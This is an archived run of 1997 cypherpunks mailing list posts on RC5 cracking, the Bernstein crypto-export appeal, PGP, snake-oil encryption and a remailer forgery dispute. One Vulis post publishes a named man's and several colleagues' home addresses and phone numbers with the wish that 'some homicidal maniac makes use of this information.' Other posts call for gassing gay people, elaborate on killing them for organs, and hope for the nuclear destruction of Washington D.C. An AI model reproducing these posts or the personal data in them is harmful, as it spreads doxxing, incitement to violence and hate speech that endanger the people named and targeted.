Save the hermetic seals.                                   - Samuel Beckett	





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dave@bureau42.ml.org>
Date: Fri, 5 Dec 1997 08:22:10 +0800
To: cypherpunks@Algebra.COM
Subject: Cycling For Freedom!
Message-ID: <Pine.LNX.3.96.971204015436.18342B-100000@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

The Bureau 42 Remailer (remailer@bureau42.ml.org) is proud to announce
"Cycling for Freedom." Basically, this is a chance to help crack RC5/64 and
support the remailer system, and all the good it stands for.

Get the RC5/64 client from www.distributed.net, and follow the easy
instructions to configure it for your favorite computer.

Crack a few blocks, send 'em back to the server so that your personal address
shows up in the stats. On the stats page, you can ask the rc5 server to send
you a password that will allow you to join a team. Get that, and then ask to
join the team "rc5@bureau42.ml.org" (it's listed as team number 1626).

In the event this team finds the winning key, the money will be used for
upgrades and maintenance on the computer housing the bureau42 remailer.
(Specifically, a faster processor would be nice. After that, the rest of the
money will be put away and used to buy/maintain a dedicated connection for
that computer.) 

Thanks in advance for helping to support the remailer, and (more importantly)
helping crack RC5/64.

dave (bureau42 remailer administrator)

- --

Today's pseudorandom quote:
"My country is the world, and my religion is to do good" -- Thomas Paine

David E. Smith, P O Box 324, Cape Girardeau MO USA 63702
Keywords: SciFi bureau42 Wicca Pez Linux PGP single! ;-)





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Version: PGP 5.0
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UVfwEiiTgsmPgNAco3KRGKp7
=2dpS
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 5 Dec 1997 16:15:38 +0800
To: God is Great Remailer <saddam@palace.iq>
Subject: Re: Christmas Ornaments
In-Reply-To: <199712042039.VAA10062@basement.replay.com>
Message-ID: <v03102819b0ad57f13a7d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



::
Request-Untraceable-Delivery-To: Declan McCullagh <declan@well.com>

At 2:39 PM -0700 12/4/97, Declan McCullagh wrote:
>I should have ordered them last month with everyone else in the bureau; the
>order's been placed and the ornaments have been delivered already. *sigh*


Declan,

Received message re: "ornaments." Confirmed, "delivery has been made."

Suggest you be out of target zone by 4 p.m. when "presents are opened."

God is Great!

Shazam Al-Raqbar







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Fri, 5 Dec 1997 17:48:42 +0800
To: gnu@toad.com
Subject: Dec 8th SF C'punks meeting: export controls on appeal
Message-ID: <199712050859.AAA15035@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



We're having yet another "Cypherpunks Dress-Up Day" on Monday,
December 8th.  Meet at the Federal Appeals Court in San Francisco, at
7th and Mission Streets (new location!).  The hearings will start at
9AM, but several cases will precede ours, so we're guessing we'll
start about 10:30.  Dress sharp: TV crews, your fellow cypherpunks,
and three esteemed judges will all be checking out your duds.  Park at
the Fifth & Mission garage, or take transit to 7th & Market and walk a
block.

After the hearing, EFF will have a press conference down the block at
the Best Western Motel, 121 7th Street.  This will feature commentary
from the EFF legal team and local First Ammendment scholars,
explaining the significance of what happened in the hearings, and
answering questions.

Then we'll have a room reserved for lunch a few blocks away, at
Annabelle's Bar & Bistro, 68 Fourth Street (between Market & Mission).
We expect to get there by about 1:30 pm.  It's a flat rate of $14 for
lunch, and we can probably send splinter groups into the main
restaurant if we overfill the room.  The legal team will be there, as
well as some of the EFF Board, and some potential donors to the case.
(Want to be one?)

The original Bernstein case is over.  We won it.  The government
appealed that decision, and is asking the 9th Circuit Court of Appeals
to overturn Judge Patel's rulings as erroneous.  Judges Myron
H. Bright, Betty B. Fletcher, and Thomas Nelson have been reading the
government's appeal, our response, and the government's reply.
They'll hear twenty minutes from each side, and ask whatever questions
they like.  Then (some days or weeks later) they'll publish their
decision.

The main issue before the Court is whether the export control laws and
regulations violate the First Amendment.  The Government is arguing
that if their *intent* is to regulate something other than
publication, they only need to show that the rules are "narrowly
tailored" to serve a "substantial government interest."  The
government argues that if it meets that test, it does not have to
worry about whether the regulations are a "prior restraint" on
publication.  Bernstein is arguing that what matters is whether the
government *actually* regulates publication (no matter what its
supposed "intent"), and that the government's export control regime
is an unconstitutional prior restraint on Bernstein's speech.

Check out the fancy new courtroom, which your taxes helped to build!
Proceed with us up the judicial hierarchy!  Shake hands with the
intrepid lawyers working hard to protect our rights!  Banter with NSA
representatives specially flown in for the occasion!  Talk with
journalists who cover crypto!  Be quoted talking about crypto freedom!

As background, Dan Bernstein, ex-grad-student from UC Berkeley, sued
the State Department, NSA, Commerce Department, Justice Department,
and other agencies, with help from the EFF.  These agencies restrained
Dan's ability to publish a paper, as well as source code, for the
crypto algorithm that he invented.  The judge decided that their
regulations are not only unconstitutional as applied to Dan, but in
general.  We're eating our way up the judicial food chain to see if
the ruling is confirmed at each level of expertise.  Full background
and details on the case, including our legal papers (and many of the
government's as well), are in the EFF Web archives at:
    http://www.eff.org/pub/Privacy/ITAR_export/Bernstein_case.

Like Phil Karn's and Peter Junger's cases, this lawsuit really has the
potential to outlaw the whole NSA/FBI crypto export scam.  We intend to
make your right to publish and export crypto software as well-
protected by the courts as your right to publish and export books.  We
have won three times and we're getting closer, though it's likely
to require Supreme Court review before the issue is finally settled.

Please make a positive impression on the judges.  Shine yer sandals
and iron your t-shirts, if you can't borrow something from your
banker.  Break out that fedora, and those elegant but conservative
dresses.  Show the judges -- by showing up -- that this case matters
to people like you -- more than just to a professor and some
bureaucrats.  Demonstrate that their decision will make a difference
to your society and your profession.  That the public and the press
are watching, and really do care that how well they handle the issue.

We'll have to be quiet and orderly while we're in the courthouse.
There will be no questions from the audience (that's us), and no
photography there (except by pre-arrangement with the court).  You can
take notes if you like.  I haven't run the gauntlet of the guards
there yet, but I expect similar suspicious activities (small innocuous
metal objects checked before you can enter).

The only thing standing between today and the end of the crypto export
controls is us convincing about ten people that we're on the right
track.  Come help woo over three of them.

	John Gilmore





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 5 Dec 1997 17:12:04 +0800
To: cypherpunks@Algebra.COM
Subject: Re: words have value, for good or ill
In-Reply-To: <199712041959.UAA04934@basement.replay.com>
Message-ID: <v03102801b0ad5f773e95@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:59 PM -0700 12/4/97, Monty Cantsin wrote:

>It looks like we lost some context across the Atlantic.
>
>In the United States when we are discussing free speech there are
>usually some common assumptions that are used to simplify the
>discussion.  Usually when free speech is being discussed, we do not
>mean contracts, coercive threats, or copyrighted works.  Strictly
>speaking, of course, those are speech, but that usually isn't what is
>meant over here. (1)
>
>The speech I am talking about is the kind of things which Tim May has
>been writing.  To keep things simple, let's consider the statement
>"McVeigh did the right thing."  It is not a contract.  It is not a
>threat.  It is not copyrighted.
>
>It is simply a belief which Tim May considered and posted to the list.
>I think we've fairly settled that it is not immoral to have this
>thought.  So the question really is, if you have such a thought, is it
>immoral to express it?

Indeed, my original point was not that others should support what I was
saying for "free speech" reasons. Whether they agree with me or not is
unimportant.

I repudiated the notion that I should "apologize" or "withdraw" my
statements. "Anonymous" had attempted to shame me into apologizing or
withdrawing my statments, and I refused to.

And whether Bryce agrees with Anonymous or not is of little concern to me.
I simply _assume_ that many people will have many views on this list. I
don't apologize because someone was bothered by my views.


>If you don't like somebody's ideas, I would suggest that you don't
>read their messages.  If you don't want to see a particular idea,
>perhaps you could hire somebody to remove the posts from your mail
>queue that contain it.  If you don't like other people hearing certain
>ideas, I recommend you get used to it.
>

Sounds good to me.

Over the several years of this list, there has generally been very little
of the "Joe should apologize and withdraw his remarks" kind of
argumentation. For good reason. Most people are too smart to be affected by
this lame sort of argument.

Look around. How often do people change or alter their views because
someone says "You should be ashamed of yourself"? Not often. To withdraw an
opinion because Anonymous or Bryce thinks an opinion is wrong or immoral is
a sign of cowardice and lack of confidence.

To compound the debating style errors made by Anonymous and his
supporter(s), Anonymous also misrepresented my views about McVeigh and OKC.
In a series of posts a few months or so ago, I made my position clear: that
I could "understand" McVeigh's actions, in the same way one can understand
someone snapping under pressure. I also pooh-poohed the "human tragedy"
aspects of the OKC story in the same way any warrior must pooh-pooh
specific cases where innocents, alleged or real, die in battles. Finally, I
was not involved in the bombing of the Murrah building, and had no causal
link to it, and did not do it, and probably won't be bombing any buildings
in the foreseeable future. So any attempt to somehow link me to this
bombing, or to claim that my failure to declare McVeigh to be Satan
Herself, etc.. consitutes complicity is magical thinking at its worst.

This same kind of leap in logic occurred in the "I won't weep if D.C. is
nuked" ---> "Tim is planning to nuke D.C." logical leap.

Complete nonsense, compounded by the "If you don't plan to nuke D.C., then
denounce your earlier views and apologize to the list" crap.

Methinks Anonymous and Zooko are steeped in the "self-criticism" style of
Maoist ideological purification.

Personally, I hope to see D.C. purified in a 30 megaton burst of cleansing
fusion. Think of how may problems it would solve. The leech state of
burrowcrats and a million welfare addicts all wiped out. Imperial capitals
need to be sacked for the subjugated serfs to breathe freely.

(The museum stuff in D.C. is is mostly either not all that important or is
already adequately preserved in other ways. We'll get by with the copies
archived in Seattle and environs, in the "other" Washington, ironically
enough.)

So sue me.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 5 Dec 1997 14:27:15 +0800
To: cypherpunks@cyberpass.net
Subject: White House humiliates Louis Freeh in public
Message-ID: <v03007800b0ad4cf8f405@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain




---

http://www.allpolitics.com/1997/12/04/mccurry/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mj@creative.net
Date: Fri, 5 Dec 1997 17:38:50 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Cypherpunks, PGP Buyout, and Writing Code...
Message-ID: <v04002a03b0acfbb65bee@[207.137.201.2]>
MIME-Version: 1.0
Content-Type: text/plain



>Perhaps the buy-out of PGP is a good thing. Consider that now there is a
>clear and present motive for Cypherpunks to start writing the next wave of
>world-class crypto...it really is the *only* shure way that the process
>doesn't get subverted...we're no longer able to rely on a single commen
>source of crypto tools.
>

Seems like a crypto module for Linux would be a good start, if there's not
one already. As part of Linux, the source would stay public domain, so you
could trust it. It also seems security built into the OS would be the
hardest to circumvent. And finally, since Linux is free, there's no
obstacle besides convenience for people on other platforms to acquire it
(and it runs on several types of hardware). Thus, the crypto module could
also help Linux, which is also good for keeping people in control of their
computers. I'm getting to where I don't trust any program I can't see the
source code of.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Fri, 5 Dec 1997 18:51:19 +0800
To: "J. Lasser" <jon@lasser.org>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <199712041107.GAA29227@users.invweb.net>
Message-ID: <3.0.2.32.19971205053136.03832b08@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 03:02 PM 12/4/97 -0500, J. Lasser wrote:

>And Singapore survives quite well being a totalitarian capitalist
>society. Sure, you can pick nits and claim that Singapore's not entirely
>capitalist, but it's more capitalist than this country and certainly
>less free, too.
>
>The fact of the matter seems to me to be that most people are perfectly
>satisfied to be passive consumers. While they like to be free, that
>means free to make purchasing decisions. They also like to be safe, and
>if they have to lose civil liberties to be safe, then they're all for
>it. Just so long as they can buy what they want. That seems to me to
>describe the essence of the Singapore problem, and I'd bet it holds true
>for the U.S. (and many other places) as well.

Forty years ago Singapore was poor and at risk of being wiped out by Malays 
or Commies or both.  (Maylays killed 1 Meg of their own Chinese in the '60s.) 
 I'm sure that a few decades of being rich and safe will engender in that 
population a liking for social freedom.  They are currently more economically 
free than we are.  We rate 5th and they are 2nd or 3rd on the two indices of 
economic freedom.  They have many personal freedoms as well.  They have 
speech restrictions but are quite outspoken in any case.  The gum and 
spitting and smoking restrictions are no different than the smoking bans and 
such we are coming to live under.  We have one-party rule too.

DCF  
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349sPDAohIs=
=ceec
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jay holovacs <holovacs@idt.net>
Date: Fri, 5 Dec 1997 22:28:40 +0800
To: jon@lasser.org>
Subject: RE: Re: Censorial leftists (Was: Interesting article)
Message-ID: <199712051359.IAA10734@u1.farm.idt.net>
MIME-Version: 1.0
Content-Type: text/plain



This post has a strange deja vu to it. I can remember back in the '60s when revolutionary wannabes would talk of the glorious peoples paradise while living in their comfortable suburban homes. How the workers' education system was open to all, no one was unemployed...

Now it has come full circle. Singapore is capitalist, so loss of freedoms can be glossed over. Many of us on this list would already be subject to the law for postings critical of government. People are in jail for looking at Penthouse on the net. Here we worry about filtering in libraries, they have whole country filtering. We worry about hate speech codes, they prohibit anything 'promoting racial or religious disharmony' (don't publish the Bell Curve there..), what good is being able to afford a printing press when you need the government's permission to publish. A few years back, at least, there were pictures in the airport of approved haircuts, you could not enter the country if your style did not conform. No first amandment, no fourth, no fifth, and don't even think about getting a gun permit.

It is amazing that people who are so offended by *government action* would gloss over a government that intrudes itself into so many areas of private life.

We are appalled by those who would sell their freedoms for perceived safety. Is it less  foolish to sell *fundamental* freedoms for a few bucks more income? 

Jay

==========================
   >From:    	frissell@panix.com
   >To:        	"J. Lasser" <jon@lasser.org>
   >Cc:        	fight-censorship@vorlon.mit.edu; cypherpunks@toad.com
   >Subject:    	Re: Censorial leftists (Was: Interesting article)
   >Date:    	Fri, Dec 5, 1997  5:31 AM
   >
   >-----BEGIN PGP SIGNED MESSAGE-----
   >
   >At 03:02 PM 12/4/97 -0500, J. Lasser wrote:
   >
   >>And Singapore survives quite well being a totalitarian capitalist
   >>society. Sure, you can pick nits and claim that Singapore's not entirely
   >>capitalist, but it's more capitalist than this country and certainly
   >>less free, too.
   >>
   >>The fact of the matter seems to me to be that most people are perfectly
   >>satisfied to be passive consumers. While they like to be free, that
   >>means free to make purchasing decisions. They also like to be safe, and
   >>if they have to lose civil liberties to be safe, then they're all for
   >>it. Just so long as they can buy what they want. That seems to me to
   >>describe the essence of the Singapore problem, and I'd bet it holds true
   >>for the U.S. (and many other places) as well.
   >
   >Forty years ago Singapore was poor and at risk of being wiped out by Malays 
   >or Commies or both.  (Maylays killed 1 Meg of their own Chinese in the '60s.) 
   > I'm sure that a few decades of being rich and safe will engender in that 
   >population a liking for social freedom.  They are currently more economically 
   >free than we are.  We rate 5th and they are 2nd or 3rd on the two indices of 
   >economic freedom.  They have many personal freedoms as well.  They have 
   >speech restrictions but are quite outspoken in any case.  The gum and 
   >spitting and smoking restrictions are no different than the smoking bans and 
   >such we are coming to live under.  We have one-party rule too.
   >
   >DCF  
   >-----BEGIN PGP SIGNATURE-----
   >Version: PGP for Personal Privacy 5.0
   >Charset: noconv
   >
   >iQCVAwUBNIdmioVO4r4sgSPhAQGt+AQAuKrTJTWfuUjDSNZO7l0ZyKFJ1UViAU+v
   >IsnmkcSoFSYok+1Etzo/x7t2z1wY9zVN5Smi2w2kzZRoymLS41LMZW7DvBEob7yw
   >Ur18j2fLdYG2hIkcXiAkQaTY96SYfmLRnIESc107Xtmgt00OTVBfDyi3QUbwID0v
   >349sPDAohIs=
   >=ceec
   >-----END PGP SIGNATURE-----
   >
   >
   >





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 5 Dec 1997 21:21:50 +0800
To: cypherpunks@toad.com
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <199712050444.XAA03304@bofh.internal.net>
Message-ID: <mZN9ge54w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Steve Thompson <stevet@myofb.org> writes:
> As for Gays and Lezbians, well, sorry but that's right out.  Such unproductive
> behaviour cannot be tolerated.

Gas the perverts.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 5 Dec 1997 21:21:52 +0800
To: cypherpunks@toad.com
Subject: Re: Dec 8th SF C'punks meeting: export controls on appeal
In-Reply-To: <199712050859.AAA15035@toad.com>
Message-ID: <a5N9ge55w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



John Gilmore <gnu@toad.com> writes:

> We're having yet another "Cypherpunks Dress-Up Day" on Monday,
> December 8th.

John Gilmore is a fascist cockcucker.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 5 Dec 1997 21:37:23 +0800
To: cypherpunks@toad.com
Subject: Re: Chris Lewis kills babies after he molests them.
In-Reply-To: <3.0.3.32.19971204161846.0391b08c@mail.atl.bellsouth.net>
Message-ID: <DNo9ge56w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"Robert A. Costner" <pooh@efga.org> writes:

> At 12:07 PM 12/4/97 EST, Dr.Dimitri Vulis KOTM wrote:
> >I might have a good cause of action against Chris Lewis, but the asshole is
> >in Canada. (I found out the forger's home address. I hope someone blows his
> >fucking brains out, for he surely deserves to die.)
[snip]
>
> In most matters where I have been involved with Chris Lewis, I have tended
> to side with Chris.

Therefore you're a censorous cocksucker and an asshole.  Fuck you.

C, P, & G. Lewis reside at:
483 Vances Side Road (Box 124),
Dunrobin (a suburb of Ottawa),
Ontario K0A 1T0, Canada,
home tel: +1 613 832 0541, office tel: +1 613 763 2935

I hope some homicidal maniac makes use of this information.

Chris Lewis uses the resources of his employer, Northern Telecom / Bell North
Research, to forge his cancels. Complaints about Chris Lewis should be sent
directly to Human Resources. That way they go directly into his personnel file
for safekeeping and remain unadulterated by his chain of command. Nortel does
not have a security officer in personnel (incredible as it seems, it's true),
so use the director as follows:

Jim Young, Director, Human Resources
Tel: +1 905 863 4636
Fax: +1 905 863 8300 (one of three faxes, so call for the others if line is busy)
E-mail: jamesy@bnr.ca

Main Nortel switchboard is at +1 613 763 2935.

Below is the chain of command for Chris Lewis, but beware of complaints to
them as they try to cover up for each other:

* David R. Niles, Assistant Vice-President
Research and Development for Infrastructure
Information Systems
Tel: +1 613 763 8635
Fax: +1 613 765 3893
Home address: 624 Glenside Terrace, Orleans, Otario K4A 2B6, Canada
Home tel: +1 613 834 2006

* Reginald I. "Reg" Foulkes, Director
Messaging and Security
Internet & Security Systems 8M80
Tel: +1 613 763 4131
E-mail: riskit@bnr.ca, v2ksys@bnr.ca
Home address: RR 2 Stn main, Trenton, Ontario K8V 5P5, Canada
Home tel: +1 613 392 5042

* Seema Goel, Manager 8M86
Tel: +1 613 763 9161
E-mail: secdevco@bnr.ca
Note that this e-mail address is sometimes used by another woman
named Marie L. Lewis.

* Chris Lewis, 8M86
Tel: +1 613 763 2935
Home address as above.

Also cc: all complaints to the following:

* Marie L. Lewis
Messaging and Security Infrastructure
Tel: +1 613 763 3495

* Marcus Leech
Tel: +1 613 763 9145
Fax: +1 613 765 1407
e-mail: mleech@bnr.ca
Home: RR 3 Stn Main, Smiths Falls, Ontario K7A 4S4, Canada
Home tel: +1 613 283 3711





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 5 Dec 1997 15:18:17 +0800
To: cypherpunks@Algebra.COM
Subject: No Subject
In-Reply-To: <199712050100.RAA04735@proxy4.ba.best.com>
Message-ID: <199712050707.IAA29156@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



James A Donald <jamesd@echeque.com> writes:

>     --
> I have produced a program that, like PGP, provides digital
> signatures and communications encryption.

> http://www.jim.com/jamesd/Kong/Kong.htm

> This is the first beta.  Please beta test this product.

     _________________________________________________________________
   
System requirements

   Kong will only run under Windows 95 and Windows NT or later.


Does the `or later' mean modern, safe software (like Linux), or what?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Sat, 6 Dec 1997 01:41:16 +0800
To: "Alex Woolfson" <cypherpunks@toad.com>
Subject: Re: Security of Encrypted Magic Folders
Message-ID: <3.0.32.19691231160000.007076c4@shell15.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



Sounds like a crock.  See the Snake-Oil FAQ.
This (mis)information is so full of nonsense I wouldn't touch the product
with rubber gloves.

At 07:51 PM 12/4/97 -0800, Alex Woolfson wrote:
>
>Hello, all!  Back reading the list after a long hiatus.  Glad it's still as
>good as ever.   Anyway, thought I'd appeal to the collective brain trust as
>this question is over my head.  Please "cc" me directly since I'm on the
>filtered cypherpunk list.
>
>I just downloaded Encrypted Magic Folders--a program that hides Windows 95
>folders and then encrypts them to prevent a disk utility from revealing
>their content.  In their help file, they try to answer the question "How
>Secure is it?"--and, of course, they say *very*, but I can't tell if this is
>so or if they're just blowing smoke.  Particularly, their claim that key
>size doesn't matter.  (My mom taught me size always matters... )   If
>someone with a stronger cryptography background than me could take a look at
>this and let me know, I would greatly appreciate it.
>
>Thanks!
>
>Alex
>
>
>* How Secure is it?
>
>    EMF's encryption offers good protection and excellent speed.  It
>    hasn't been broken yet.  It is, as far as we know, exportable.  THERE
>    IS NO BACKDOOR.  Should you forget your password there is nothing we
>    can do to decrypt your encrypted files.
>
>    Quite a few people ask us how big EMF's key size is.  They've learned
>    from other encryption programs that the bigger the key the stronger
>    the encryption.  This really doesn't apply to EMF.
>
>    We developed our own encryption instead of using a standard because
>    we wanted EMF to be able to decrypt at the byte level.  In this way
>    we only need to decrypt/encrypt the data your programs require and
>    not the entire file.
>
>    In theory, because we decrypt at the byte level, the biggest key we
>    could use would be 8 bits - which is a joke.  So instead of
>    decrypting every hunk of data using the same key, as most other
>    encryption programs do, we developed an algorithm to vary the key
>    based on the data's location within the file.  In this way we get
>    both high security and high speed.  We are trying to patent EMF's
>    encryption method.
>
>    Having said all that, truth is, most encryption isn't "cracked" by
>    breaking the algorithm, it's done by guessing the password.  Brute
>    guessing of passwords tends to level the playing field tremendously.
>    We actually have an advantage because we aren't an established
>    standard.  Because we're small and relatively obscure chances are no
>    one will take the effort to write a password guessing program (which
>    incidentally would violate copyright and intellectual property laws.)
>    Even if someone were to go thru all this effort we could easily
>    change the encryption method for the next update.
>
>    If we used an established encryption method like DES or Blowfish then
>    your files would probably have to be fully decrypted when opened,
>    would exist on disk as unencrypted while you're using them, and then
>    would need to be encrypted when closed.  This has multiple
>    disadvantages.  First, if your computer shuts down while you have
>    "encrypted" files open, then those files would be unencrypted.  This
>    doesn't happen with EMF as your encrypted files are always encrypted
>    as stored on disk.  The second disadvantage is that it slows things
>    down tremendously.  As an example, let's say you retrieve your email
>    and your email program needs to add today's message to the end of
>    your 3MB email file.  If we used a standard encryption method
>    requiring the decryption of the file before use then the entire 3 MB
>    file would have to be decrypted, your 300 byte message added to the
>    end and then the entire file encrypted again.  With EMF, no
>    decryption would need to take place, and the only data needing
>    encryption would be the 300 byte message.  MUCH faster.  Around
>    20,000 times faster in this example!
>
>    If you still think you'd like to see us use a standard encryption
>    method like DES or Blowfish, or have any other suggestions, let us
>    know and we will consider your input in future updates
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Sat, 6 Dec 1997 01:51:22 +0800
To: cypherpunks@toad.com
Subject: encrypted home videos
Message-ID: <3.0.5.32.19971205093918.008003f0@206.40.207.40>
MIME-Version: 1.0
Content-Type: text/plain



	
Recently a hollywood pair's home sex video was stolen, duped, and sold.  

This makes the mass market aware.
You could sell video cameras that required a passphrase to play.

This would be easier with pure digital recording cameras, which are the
next generation of consumer vidcams.  A fast stream cipher is easy in
hardware,
and there *will* be a market for it.  

You have no privacy if your bits are not encrypted when your space is
violated,
by feds or other criminals, but you want the convenience of a videocamera.

(forward this idea to other lists/newsgroups as appropriate)





------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

Information is a dense, colorless, odorless material readily transmitted
across empty space and arbitrary boundaries by shaking charged particles.
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Sat, 6 Dec 1997 02:30:29 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <199712050444.XAA03304@bofh.internal.net>
Message-ID: <3.0.5.32.19971205095149.00804630@206.40.207.40>
MIME-Version: 1.0
Content-Type: text/plain



At 07:17 AM 12/5/97 EST, Dr.Dimitri Vulis KOTM wrote:
>Steve Thompson <stevet@myofb.org> writes:
>> As for Gays and Lezbians, well, sorry but that's right out.  Such
unproductive
>> behaviour cannot be tolerated.
>
>Gas the perverts.

Gas is corrosive; we can harvest their organs for breeders who need lungs
and corneas
if we use a different method.  Or we can use the organs to keep the
suffering alive indefinately,
since suicide is out.

The goal, after all, is as much human biomass at whatever cost....





------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

Information is a dense, colorless, odorless material readily transmitted
across empty space and arbitrary boundaries by shaking charged particles.
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <Use-Author-Address-Header@[127.1]>
Date: Fri, 5 Dec 1997 23:27:39 +0800
To: mail2news@basement.replay.com
Subject: Re: Gary Burnore Caught in own Trap (Long)
In-Reply-To: <6617oi$c0f@examiner.concentric.net>
Message-ID: <75878341ed9bfcd7e352e4319bf91e47@anonymous.poster>
MIME-Version: 1.0
Content-Type: text/plain



Belinda Bryan <eridani@ix.netcom.com> wrote:

> X-No-Archive: yes
     
> What those who are capable of looking at this with an open mind might
> notice is that there is much more to this story than you and Mr.
> Know-it-All Sam are telling.  Excuse me while I rain on your parade and
> repost some SERIOUS ANALYSIS from someone with a clue:

What motive would Sam have for being part of the mythical "Spam baiting/
forgery/libel/teenager-abusing/cyber-stalking conspiracy" you've concocted?
Could it be that Gary is now searching for another person to falsely accuse
of doing all of these things, now that he and the first person he accused
sem to have declared a de facto truce?  Is Sam going to be your next victim?

> > What seems to have happened here is that someone telnetted to the SMTP
> > port of myriad.alias.net and forged E-mail from your address.  If
> > these are full headers, then this forgery did not involve remailers at
> > all.  The perpetrator has therefore run the risk of being traced.

Which blows a huge hole in Gary's own theory that some evil "anon asshole"
used a remailer to do it, thus justifying his anti-remailer witch hunt.
And since you've chosen to quote that opinion, what were the results of
that trace he mentioned?

> Oh, my.  Looks like that shoots yours and Sam's theories right straight
> to hell, doesn't it?  On to the next lie:
                        ^^^^^^^^^^^^^^^^^^

How many do you plan to tell?
  
> In case you missed it, let me repeat: "looks like somebody sent you a  
> message with a Return-Receipt-To: header set to
> alt.revenge@myriad.alias.net.

To which the broken, mis-configured mail server at DataBasix autoresponded.
Why would Gary have claimed he was going to fix it if it weren't broken?
 
> >What would be the point in trying to forge a Usenet post to make it look
> >like it came from "mmdf@databasix.com", anyway?
>  
> You're the one with all the fricking "answers", why don't you tell us?

You might start with asking yourself who stood to benefit from this
happening.  You and Gary are the ones who keep bringing it up, because
it's the only "evidence" you have to support your grand conspiracy theory.
Thus far, all of your alleged "evidence" has proven nothing because it's
all (conveniently) had truncated path headers.
 
> >Gary Burnore's forgery allegations against Mailmasher are similarly
> >suspect.
>  
> Methinks you are confusing your alleged villains.  Usually Wotan gets
> the blame for closing Mailmasher and Gary and I get the blame for
> huge.cajones.  While I have a lot of respect for Jeff Burchell (and I've
> met him personally, can you say the same?), I disagree with the
> allegations he made against Wotan re: the Mailmasher attack.  Do try to
> recall that even Jeff said he was *speculating* as to what happened with
> MailMasher and the software piracy fiasco.

And you've got a better explanation of what happened?  Right after Billy
McClatchie went on his campaign to get Mailmasher shut down, someone 
signs up for a Mailmasher account, puts out a fake post advertising some
"warez", then dutifully turns himself into the SPA to get Mailmasher in
trouble.  Just a "coincidence", right?

And just because you, Billy McClatchie (Wotan), and Gary Burnore are all 
staff members at DataBasix, and the two servers that you three attacked in 
sequence were both run by the same person, we're not supposed to make the
conncection?  As Gary himself once said "There are far too many 
coincidences".  He was at least right about that.
 
> And if you think Jeff closed huge.cajones because of Gary and me, you
> obviously don't know the whole story.  But what's new?  What you don't
> know, you just make up.

I've read Jeff's account, and you, Gary, and Bill "Wotan" McClatchie are the 
only attackers he mentioned.
 
> >First of all, before planning the attack, somebody apparently
> >didn't do his homework, or he'd have realized that Mailmasher was a
> >web-based 'nymserver, not a remailer.
>  
> I'll freely admit I don't really understand the difference between the
> two.  But I distinctly recall seeing dozens of messages with a from line
> with *my* email address and a message ID of mailmasher.com.  Like so:
>    
> ------
>  
> Path:
> ix.netcom.com!ix.netcom.com!super.zippo.com!zdc!news1.mpcs.com!anon.lcs.mit.edu!
> nym.alias.net!mail2news
> Date: Wed, 5 Feb 1997 22:22:07 -0800
> Message-ID: <199702060622.WAA09539@mailmasher.com>
> From: eridani@ix.netcom.com (Mailbomb^me)
> Comments: Please report misuse of this automated remailing service to
> <remailer-admin@cajones.com>
